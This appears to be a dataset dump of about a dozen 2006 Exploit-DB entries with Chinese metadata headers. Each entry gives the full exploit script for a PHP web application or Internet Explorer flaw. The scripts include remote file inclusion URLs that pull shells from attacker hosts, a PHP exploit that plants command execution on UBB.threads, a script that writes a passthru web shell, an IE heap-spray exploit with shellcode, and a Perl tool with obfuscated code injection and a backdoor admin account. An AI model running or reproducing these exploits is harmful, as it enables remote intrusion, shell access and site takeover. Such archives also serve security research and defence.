QLWD/code_shield huggingface dataset:
标题: UBBCentral UBB.Threads 6.5.1.1 - 'doeditconfig.php' Code Execution EDB-ID: 2457 CVE: 2006-5137 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-29 漏洞利用脚本: #!/usr/bin/php -q -d short_open_tag=on
<?
// UBB.threads Multiple input validation error

// Discovered By : HACKERS PAL
// Copy rights : HACKERS PAL
// Website : http://www.soqor.net
// Email Address : security@soqor.net

// Tested on Version 6 (6.5.1.1) and other versions maybe affected

// Remote File including :
// ubbt.inc.php?GLOBALS[thispath]=http://localhost/cmd.txt?&cmd=dir
// ubbt.inc.php?GLOBALS[configdir]=http://localhost/cmd.txt?&cmd=dir
// -------------------------------------------------------
// Files overwrite vulnerabilities
// if magic_qoutes_gpc = off

// admin/doedittheme.php?theme[soqor]=".system($_GET[cmd])."&thispath=../
// and open includes/theme.inc.php?cmd=ls -la
// or :-
// admin/doeditconfig.php?config[soqor]=".system($_GET[cmd])."&thispath=../
// and open includes/config.inc.php?cmd=ls -la

// -- # -- # -- # --

// if magic_qoutes_gpc = on
// admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?

// and you will have a command execution files ..
// example
// dorateuser.php?cmd=ls -la
// calendar.php?cmd=ls -la
// and so many other files which includes using this variable ($config[path])
// -------------------------------------------------------
// Full path
// cron/php/subscriptions.php
// -------------------------------------------------------
// Exploit :-

/*
/*   UBB.threads Multiple vulnerabilities
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*       UBB.threads Command Execution        */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<2) {
 print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/
/**********************************************/
');
 die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1]."/";
$exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?";
$page=$url.$exploit;
Function get_page($url)
{

 if(function_exists("file_get_contents"))
 {

  $contents = file_get_contents($url);

 }
 else
 {
  $fp=fopen("$url","r");
  while($line=fread($fp,1024))
  {
   $contents=$contents.$line;
  }

 }
 return $contents;
}

$page    = get_page($page);

$newpage = get_page($url."calendar.php");

if(eregi("Cannot execute a blank command",$newpage))
{
 Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
Else
{
 Die("\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
?>

# milw0rm.com [2006-09-29] URL: https://www.exploit-db.com/exploits/2457
标题: PowerPortal 1.3a - 'index.php' Remote File Inclusion EDB-ID: 2454 CVE: 2006-5126 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-29 漏洞利用脚本: #==============================================================================================
# PowerPortal Remote File Include
#===============================================================================================
#
#Critical Level : Dangerous
#
# scripts: PowerPortal
# download: http://www.scripts.com/jump.php?ID=13698
#Version : v1.3a
#dork : Powered by PowerPortal v1.3a
# note not tested on other version :)
#================================================================================================
#Bug in :
#/index.php
#
#================================================================================================
#Vuln Code :
# think :)
#================================================================================================
#
#Exploit :
#
#http://localhost/path_to_PowerPortal/index.php?file_name[]=http://eivlCode.txt?
#
#
#================================================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad ; RooT-shilL ; hetler_jeddah ; BooB11 ; FaTaL ; 
ThE-WoLf-KsA ; mohandko ; fooooz ; maVen
#thanx to str0ke :)
#and all members in XP10_hackEr Team
#WWW.XP10.COM
==================================================================================================

# milw0rm.com [2006-09-29] URL: https://www.exploit-db.com/exploits/2454
标题: TagIt! Tagboard 2.1.b b2 - 'index.php' Remote File Inclusion EDB-ID: 2450 CVE: 2006-5093 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-28 漏洞利用脚本: Tagmin C.C 2.1.B Remote File Include
########################################
+Advisory #3
+Product :Tagmin Control Center 2.1.B
+Develop: http://ds3.bbminc.net/tagit2b/
+Dork: inurl:"/tagit2b/"
+Vulnerable: Remote File Include
+Risk:High
+Discovered:by Kernel-32
+Contact: kernel-32@linuxmail.org
+Homepage: http://kernel-32.blogspot.com
+Greetz: BeLa ;)
########################################
Vulnerable code:
----------------
if(isset($_GET['load']) && $_GET['load'] == "dtu" or $_GET['load'] == "tag") {
include("$page.php");
}
else {
include("tagviewer.php");
}
?>

---------------
Vulnerable:
http://site/path/index.php?page=shell

# milw0rm.com [2006-09-28] URL: https://www.exploit-db.com/exploits/2450
标题: phpBB XS 0.58a - 'phpbb_root_path' Remote File Inclusion EDB-ID: 2453 CVE: 2006-5094 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-28 漏洞利用脚本: ###########################################################

#phpBB XS <= 0.58 (phpbb_root_path) Remote File Include Vulnerability(2)

############################################################

#Author: XORON - SHiKaA

############################################################

#URL: http://www.comscripts.com/jump.php?action=script&id=1082

############################################################

#Class: Remote

############################################################

#Code:   include($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_bbcb_mg.' . $phpEx);

############################################################

#Exploit:

http://www.site.com/[path]/includes/functions_kb.php?phpbb_root_path=http://evil_scripts?
http://www.site.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://evil_scripts?

############################################################

#Greetz: str0ke and AzzCoder ;)

############################################################

# milw0rm.com [2006-09-28] URL: https://www.exploit-db.com/exploits/2453
标题: phpMyWebmin 1.0 - 'window.php' Remote File Inclusion EDB-ID: 2451 CVE: 2006-5125 2006-5124 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-28 漏洞利用脚本: #######################################
+PHP MyWebMin 1.0 Remote File Include
+Advisory #5
+Product :PHP MyWebMin
+Develop:
+www.josh.ch/joshch/php-tools/phpmywebmin,download.html
+Vulnerable: Remote File Includes
+Risk:High
+Class:Remote
+Discovered:by Kernel-32
+Contact: kernel-32@linuxmail.org
+Homepage: http://kernel-32.blogspot.com
+Greetz: BeLa ;)
########################################

Vulnerable File:window.php
$ordner = opendir("$target");
?>

and

include("$target/preferences.php");

if($action != "")
{
include("$action.php");
?>

Examples:
http://site/path/window.php?target=/etc
http://site/path/home.php?target=/home
http://site/path/window.php?action=Shell.php

# milw0rm.com [2006-09-28] URL: https://www.exploit-db.com/exploits/2451
标题: Newswriter SW 1.4.2 - 'main.inc.php' Remote File Inclusion EDB-ID: 2443 CVE: 2006-5180 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-27 漏洞利用脚本: <?php
/* XORON - TURKISH HACKER

Thanx: str0ke, Ironfist, Preddy,

*/

$cmd = $_POST["cmd"];
$glowna = $_POST["glowna"];
$shell = $_POST["shell"];
$exp= "<title>Newswriter SW v1.4.2 Remote File Include Exploit :: XORON :: 
TURKISH HACKER ::</title>"
."<style type=\"text/css\">"
."body {background-color: #006600;}"
."body,td,th {color: #FFFFFF;}"
."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">"
."<div align=\"center\"><img src=\"http://xoron.biz/teamvh4.png\"></div>"
."<p align=\"center\">script url: (ex. 
http://www.site.com/[script_path]/include/main.inc.php?NWCONF_SYSTEM[server_path]=)<br>"
."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">"
."<br>"
."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 
777)<br>"
."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">"
."<br>"
."cmd: (ex. ls -la)<br>"
."<input name=\"cmd\" type=\"text\" size=\"90\"".$cmd."\">"
."<br>"
."<input type=\"submit\" value=\"Exploit\" name=\"submit\">"
."</p>"
."<p align=\"center\">Find by: <a 
href=\"mailto:x0r0n@hotmail.com\">XORON</a>"
."<br>"
."<p align=\"center\"> <a 
href=\"http://www.xoron.biz/\">http://www.xoron.biz/</a></p>"
."<p align=\"center\" class=\"name\">&nbsp;</p>"
."<HR WIDTH=\"650\" ALIGN=\"center\">"
."<p align=\"center\"> Special Greetz: Str0ke, Ironfist, Preddy, rgod  
;-)<br>"
."<br>"
."<p align=\"center\">&nbsp;</p>"
."</form>";

if (!isset($_POST['submit']))
{
echo $exp;
}else{
$file = fopen ("shell.txt", "w+");
fwrite($file, '<?php 
ob_clean();echo"xoron-turkish-hacker";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>');
fclose($file);
$file = fopen ($shell, "r");
if (!$file) {
    echo "<p>Don't Find shell :( Insert in FTP shell.txt.\n";
    exit;
}
echo $exp;
while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
}
?>

# milw0rm.com [2006-09-27] URL: https://www.exploit-db.com/exploits/2443
标题: A-Blog 2.0 - Multiple Remote File Inclusions EDB-ID: 2442 CVE: 2006-5135 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-27 漏洞利用脚本: #==============================================================================================
#A-Blog v2.0 Remote File Include
#===============================================================================================
#
#Critical Level : Dangerous
#
#A-Blog
#http://prdownloads.sourceforge.net/a-blog/A-BlogV2.rar?download
#Version : v2.0
#
#================================================================================================
#Bug in :
#/navigation/links.php
#/navigation/search.php
#/navigation/donation.php
#/navigation/latestnews.php
#/sources/myaccount.php
#
#================================================================================================
#Vlu Code :
#include("$navigation_start")
#include("$navigation_middle")
#include("$navigation_end")
#include("$open_box")
#include("$middle_box")
#include("$close_box")
#================================================================================================
#
#Exploit :
#
#http://localhost/A-Blog/sources/myaccount.php?open_box=http://shell.txt?
#http://localhost/A-Blog/sources/myaccount.php?middle_box=http://shell.txt?
#http://localhost/A-Blog/sources/myaccount.php?close_box=http://shell.txt?
#http://localhost/A-Blog/navigation/search.php?navigation_end=http://shell.txt?
#http://localhost/A-Blog/navigation/donation.php?navigation_start=http://shell.txt?
#http://localhost/A-Blog/navigation/donation.php?navigation_middle=http://shell.txt?
#http://localhost/A-Blog/navigation/donation.php?navigation_end=http://shell.txt?
#http://localhost/A-Blog/navigation/latestnews.php?navigation_start=http://shell.txt?
#http://localhost/A-Blog/navigation/latestnews.php?navigation_middle=http://shell.txt?
#http://localhost/A-Blog/navigation/links.php?navigation_start=http://shell.txt?
#http://localhost/A-Blog/navigation/links.php?navigation_middle=http://shell.txt?

#================================================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad ; RooT-shilL ; hetler_jeddah ; BooB11 ; FaTaL ; ThE-WoLf-KsA ; mohandko ; fooooz ; maVen
#and all members in XP10_hackEr Team
#WWW.XP10.COM
==================================================================================================

# milw0rm.com [2006-09-27] URL: https://www.exploit-db.com/exploits/2442
标题: Microsoft Internet Explorer - WebViewFolderIcon setSlice() (HTML) EDB-ID: 2448 CVE: 2006-3730 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-28 漏洞利用脚本: <!--

..::[ jamikazu presents ]::..

Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day)
Works on all Windows XP versions including SP2

Author: jamikazu 
Mail: jamikazu@gmail.com

Bug discovered by Computer H D Moore (http://www.metasploit.com)

Credit: metasploit, SkyLined

invokes calc.exe if successful 

-->

<HTML>
<BODY>
<SCRIPT language="javascript">

 var heapSprayToAddress = 0x05050505;
 var payLoadCode = unescape(
 "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
 "%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
 "%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
 "%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
 "%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
 "%uFF57%u63E7%u6C61%u0063");
 var heapBlockSize = 0x400000;
 var payLoadSize = payLoadCode.length * 2;
 var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
 var spraySlide = unescape("%u0505%u0505");
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);
 heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
 memory = new Array();

 for (i=0;i<heapBlocks;i++)
 {
  memory[i] = spraySlide + payLoadCode;
 }

    for ( i = 0 ; i < 128 ; i++) 
 {
  try{ 
   var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
   tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 ); 
  }catch(e){}
 }

 function getSpraySlide(spraySlide, spraySlideSize)
 {
  while (spraySlide.length*2<spraySlideSize)
  {
   spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
 }

</SCRIPT> 

</BODY>
</HTML>

# milw0rm.com [2006-09-28] URL: https://www.exploit-db.com/exploits/2448
标题: Blog Pixel Motion 2.1.1 - PHP Code Execution / Create Admin EDB-ID: 2441 CVE: 2006-5086 2006-5085 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-27 漏洞利用脚本: #!/usr/bin/perl
#
# Affected.scr..: Blog Pixel Motion V2.1.1
# Poc.ID........: 12060927
# Type..........: PHP Code Execution (stripslashes), SQL Injection (urldecode)
# Risk.level....: High
# Vendor.Status.: Unpatched
# Src.download..: www.pixelmotion.org/zip/blog2.1.zip
# Poc.link......: acid-root.new.fr/poc/12060927.txt
# Credits.......: DarkFig
#
# print "This exploit is for educational purpose only" x 999; exit;
#
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Response;
use Getopt::Long;
use strict;

print STDOUT "\n+", '-' x 60, "+\n";
print STDOUT "| Blog Pixel Motion V2.1.1 PHP Code Execution / Create Admin |\n";
print STDOUT '+', '-' x 60, "+\n";

my($host,$path,$proxh,$proxu,$proxp,$choice,$cmd,$res,$re);
my $opt = GetOptions(
   'host=s'   =>  \$host,
   'path=s'   =>  \$path,
   'proxh=s'  =>  \$proxh,
   'proxu=s'  =>  \$proxu,
   'proxp=s'  =>  \$proxp,
   'choice=s' =>  \$choice);

if(!$host) {
    print STDOUT "|      Usage: ./zz.pl --host=[www] --path=[/] --choice=[0]   |\n";
    print STDOUT "|   [Choice.]  1=PHP_Code_Execution       2=Create_Admin     |\n";
    print STDOUT "|   [Options] --proxh=[ip] --proxu=[user] --proxp=[pwd]      |\n";
    print STDOUT '+', '-' x 60, "+\a\n";
    exit(1);
}

if($host  !~ /http/) {$host = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}
if(!$path) {$path = '/';}
if(!$choice) {$choice = 2;}

my $ua = LWP::UserAgent->new();
   $ua->agent('0xzilla');
   $ua->timeout(30);
   $ua->proxy(['http'] => $proxh) if $proxh;
   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;

if($choice == 1) {

   $re = POST $host.$path.'config.php', [
   'nom_blog'  => '";
    $shcode  = chr(0x69).chr(0x66).chr(0x28).chr(0x69).chr(0x73).chr(0x73).chr(0x65);
    $shcode .= chr(0x74).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);
    $shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);
    $shcode .= chr(0x29).chr(0x29).chr(0x7B).chr(0x73).chr(0x79).chr(0x73).chr(0x74);
    $shcode .= chr(0x65).chr(0x6D).chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69);
    $shcode .= chr(0x70).chr(0x73).chr(0x6C).chr(0x61).chr(0x73).chr(0x68).chr(0x65);
    $shcode .= chr(0x73).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);
    $shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);
    $shcode .= chr(0x29).chr(0x29).chr(0x3B).chr(0x7D).chr(0x0D).chr(0x0A);
    eval($shcode); die(); //'];
    $ua->request($re);

    while(<STDIN>){
    chomp($cmd = $_);
    if($cmd eq 'exit') { exit(0); }
    $re = GET $host.$path.'include/variables.php?cmd='.$cmd;
    $res = $ua->request($re);
    print STDOUT "\n\n".$res->content."\n\$sh: ";
    }


} else {

  $re = GET $host.$path.'insere_base.php?login=woot&pass=t00w';
  $ua->request($re);
  print STDOUT "[+] Admin login.: woot\n";
  print STDOUT "[+] Admin passwd: t00w\n";
  print STDOUT '+', '-' x 60, "+\n";

}

# milw0rm.com [2006-09-27] URL: https://www.exploit-db.com/exploits/2441
标题: Newswriter SW 1.42 - 'editfunc.inc.php' File Inclusion EDB-ID: 2439 CVE: 2006-5102 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-27 漏洞利用脚本: #==============================================================================================
#Newswriter SW <= 1.42 (NWCONF_SYSTEM[server_path]) Remote File Inclusion Vulnerability
#===============================================================================================
#
#Critical Level : Dangerous
#
#Script Dowload : http://www.baumedia.net/typo3conf/ext/nf_downloads/pi1/passdownload.php?downloaddata=3
#
#Version : 1.42
#
#================================================================================================
#
#Bug in :
#
#include/editfunc.inc.php
#================================================================================================
#
#Vulnerable Code :
#
#
#         include($NWCONF_SYSTEM['server_path'].'include/javascript.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/text-out.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/images.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/filefunc.inc'.$NWCONF_SYSTEM['php_ext']);
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Newswriter_SW_DIR]/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=http://evilsite.com/evilscript.txt?
#
#
#================================================================================================
#Discoverd By : Silahsiz Kuvvetler
#
#
#Conatact : co-type[at]hotmail[dot]com
#
#GreetZ : FaTTaLGazI- Narcotic - 0xyGen
#
#Special Thanqs : www.fatalerror.us
#==================================================================================================

# milw0rm.com [2006-09-27] URL: https://www.exploit-db.com/exploits/2439
标题: A-Blog 2.0 - 'menu.php' Remote File Inclusion EDB-ID: 2436 CVE: 2006-5092 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: ###### ToXiC #########################
#
#A-Blog Remote File Include
#
#BuG FounD by Drago84
#
#Application Affect:A-Blog
#Source Code:
#http://prdownloads.sourceforge.net/a-blog/A-BlogV2.rar?download
#Problem:
#<?php include ("$navigation_start"); ?>
#<?php include("$navigation_middle"); ?>
#Soluction:
#Include in page require ("mainfile.php");
#Page Vulnerable : menu.php
#Dir : /navigation/
# Exempe Of ExPloit
is:
#http://www.site.com/ablog_dir/navigation/menu.php?navigation_start=http://marcusbestlamer.gay/shell.php?

#GrEatZ All Member of ToXiC, Str0ke
# Fuck Sonic,a|x
# ToXic Security Italian CreW

######
ToXiC
###################

# milw0rm.com [2006-09-26] URL: https://www.exploit-db.com/exploits/2436
标题: Web//News 1.4 - 'parser.php' Remote File Inclusion (1) EDB-ID: 2435 CVE: 2006-5100 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-26 漏洞利用脚本: #==============================================================================================
#webnews <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit
#===============================================================================================
#
#Critical Level : Dangerous
#
#
#
#Version : v1.4
#
#================================================================================================
#Bug in : parse/parser.php
#
#Vlu Code :
#--------------------------------
#
#            require($WN_BASEDIR."/parse/parser.php");
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#htpp://sitename.com[scerpitPath]/parse/parser.php?WN_BASEDIR=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : ThE-WoLf-KsA
#
#Conatact : the-wolf-ksa[at]hotmail.com
#XP10_hackEr Team
#
#WWW.XP10.COM
==================================================================================================

vendor:
http://www.stylemotion.de/downloads-id1-web-news-1-4.html
/str0ke

# milw0rm.com [2006-09-26] URL: https://www.exploit-db.com/exploits/2435
标题: Minerva 2.0.21 build 238a - 'phpbb_root_path' File Inclusion EDB-ID: 2429 CVE: 2006-5077 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: #==============================================================================================
#Minerva <= v238 (phpbb_root_path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://prdownloads.sourceforge.net/minerva/Minerva-238a.zip?download      
#                                                                      
#Version : All Versions                                            
#                                                        
#================================================================================================
#
#Dork : "Powered by Minerva"
#
#================================================================================================
#Bug in : admin/admin_topic_action_logging.php
#
#Vlu Code :
#--------------------------------
#
# if ( !empty($setmodules) )
#{
#    include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/lang_admin_topic_action_logging.' . $phpEx);
#    $module['Forums']['Action_Logging'] = basename(__FILE__);
#    return;
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & HACKERS PAL & XoRon & Simoo & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25] URL: https://www.exploit-db.com/exploits/2429